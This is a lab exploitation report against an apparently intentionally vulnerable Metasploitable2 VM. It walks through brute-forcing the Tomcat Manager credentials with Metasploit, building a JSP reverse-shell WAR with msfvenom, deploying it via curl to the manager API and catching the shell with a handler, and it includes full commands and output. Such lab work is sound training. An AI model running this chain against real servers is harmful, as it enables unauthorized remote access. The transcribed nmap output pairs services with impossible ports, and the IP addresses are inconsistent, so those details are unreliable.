



03 Exploitation Lab

1. Summary

Exploited an exposed Apache Tomcat Manager on 192.168.225.129 via credential discovery and WAR deployment. A Java JSP reverse shell was uploaded and triggered, yielding a remote shell. Findings were validated with Burp Suite and Metasploit; recommended immediate patching, removal of weak credentials, and restricting manager access to trusted networks.

2. Scope & Rules of Engagement

- Targets in scope (IPs, hostnames).
- Example: 192.168.225.129 (Metasploitable2 VM)
- Time window, tools allowed (Metasploit, Burp Suite).

3. Environment & Reconnaissance

- Attacker system: Kali Linux (IP).
- Target system details from nmap:
- Open ports of interest: 80 (Apache httpd), 8180 (Tomcat/Coyote), etc.
- Notable services: vsftpd, ssh, MySQL, Tomcat (Apache Tomcat/Coyote JSP engine on 8180).
- Command snippets & output excerpts:
- `sudo nmap -sV -p 1-9000 192.168.225.129` → show relevant lines.
- `curl -I http://192.168.225.129:8180/manager/html` → 401 Unauthorized (manager present).

4. Vulnerability discovery

- Description of the vulnerability vector (Tomcat Manager exposed; weak/default creds possible).
- How the entry point was identified:
- Directory discovery (gobuster/nikto results)



- Manual confirmation: curl to /manager/html and /manager/text returned expected responses (401).

5. Exploitation steps

- Preparation:
Username/password lists created (~tomcat_users.txt, ~tomcat_pass.txt).
- Credential discovery:
Tools used: Metasploit (module search), Hydra or msf module attempt (show exact command used).
Example command (curl brute or hydra/msf snippet).
Result: discovered valid credentials (e.g., tomcat:tomcat) — include exact module output
- WAR creation (payload creation):
Command:

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f war -o /tmp/shell.war
```
- Listener/handler:
Metasploit handler setup:
use exploit/multi/handler
set PAYLOAD java/jsp_shell_reverse_tcp
set LHOST 10.0.2.15
set LPORT 4444
run
- Deployment:
Curl deploy via manager text API:
curl --user 'tomcat:tomcat' -T /tmp/shell.war
"http://192.168.225.129:8180/manager/text/deploy?path=/shell&update=true"



curl --user 'tomcat:tomcat' http://192.168.225.129:8180/manager/text/list → sample output.

```
(kali㉿kali)-[~]  
$ curl -I --user 'tomcat:tomcat' http://192.168.225.129:8180/manager/html  
HTTP/1.1 200 OK  
Server: Apache-Coyote/1.1  
Pragma: No-cache  
Cache-Control: no-cache  
Expires: Wed, 31 Dec 1969 19:00:00 GMT-05:00  
Content-Type: text/html; charset=utf-8  
Content-Length: 13341  
Date: Thu, 09 Oct 2025 15:16:46 GMT
```

- Evidence artifacts (appendices):

Metasploit logs (msfconsole session transcript).

```
kali@kali: ~  
USER_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_defaults/users.txt no File containing users, one per line  
VERBOSE true yes Whether to print output for all attempts  
VHOST no HTTP server virtual host  
  
View the full module info with the info, or info -d command.  
  
msf auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.225.129  
RHOSTS => 192.168.225.129  
msf auxiliary(scanner/http/tomcat_mgr_login) > RPORT 8180  
-] Unknown command: RPORT. Run the help command for more details.  
msf auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180  
RPORT => 8180  
msf auxiliary(scanner/http/tomcat_mgr_login) > set TARGETURI /manager/html  
TARGETURI => /manager/html  
msf auxiliary(scanner/http/tomcat_mgr_login) > set USER_FILE /home/kali/tomcat_users.txt  
USER_FILE => /home/kali/tomcat_users.txt  
msf auxiliary(scanner/http/tomcat_mgr_login) > set PASS_FILE /home/kali/tomcat_pass.txt  
PASS_FILE => /home/kali/tomcat_pass.txt  
msf auxiliary(scanner/http/tomcat_mgr_login) > set THREADS 10  
THREADS => 10  
msf auxiliary(scanner/http/tomcat_mgr_login) > run  
[*] No active DB -- Credential data will not be saved!  
+ 192.168.225.129:8180 - Login Successful: tomcat:tomcat  
- 192.168.225.129:8180 - LOGIN FAILED: admin:tomcat (Incorrect)  
- 192.168.225.129:8180 - LOGIN FAILED: admin:admin (Incorrect)  
- 192.168.225.129:8180 - LOGIN FAILED: admin:password (Incorrect)  
- 192.168.225.129:8180 - LOGIN FAILED: admin:msfadmin (Incorrect)  
- 192.168.225.129:8180 - LOGIN FAILED: admin:123456 (Incorrect)  
- 192.168.225.129:8180 - LOGIN FAILED: manager:tomcat (Incorrect)  
- 192.168.225.129:8180 - LOGIN FAILED: manager:admin (Incorrect)
```



Burp raw requests/responses (saved .txt).

The screenshot shows the Burp Suite interface with a raw HTTP request and response. The request is a GET to /manager/html. The response is an HTML page with a login form. A tooltip shows the form fields: username and tomcat.

nmap scan output.

```
—(kali@kali)~[~]
$ sudo nmap -sV -p 1-9000 192.168.225.129
sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-09 12:52 EDT
Nmap scan report for 192.168.225.129
Host is up (0.0022s latency).
Not shown: 8974 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
33/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
145/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
112/tcp   open  exec         netkit-rsh rexecd
113/tcp   open  login        OpenBSD or Solaris rlogind
114/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
3432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
6697/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open  drb          Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
MAC Address: 00:0C:29:75:ED:D9 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o linux:linux_kernel
```



msfvenom command and generated WAR (hash of file for traceability).

```
(kali@kali)-[~]
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.225.134 LPORT=4444 -f war -o /tmp/shell.war

Payload size: 1099 bytes
Final size of war file: 1099 bytes
Saved as: /tmp/shell.war

msf auxiliary(scanner/http/tomcat_mgr_login) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set PAYLOAD java/jsp_shell_reverse_tcp
PAYLOAD => java/jsp_shell_reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.225.134
LHOST => 192.168.225.134
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.225.134:4444
whoami
ls
```

Exploit ID	Description	Target IP	Status	Module / Tool used	Payload
001	Apache Tomcat/Coyote	192.168.25.129	sucess	t_mgr_login (cred discovery); curl/manager/text (deploy)	java/jsp_shell_reverse_tcp (WAR)

Conclusion

Exploitation confirmed an exposed Apache Tomcat Manager on 192.168.225.129. Using auxiliary/scanner/http/tomcat_mgr_login we discovered valid credentials and deployed a Java JSP reverse shell via the Manager API, achieving remote code execution. Impact: unauthorized remote access, data exposure, and potential lateral movement. Immediate remediation and hardening are required.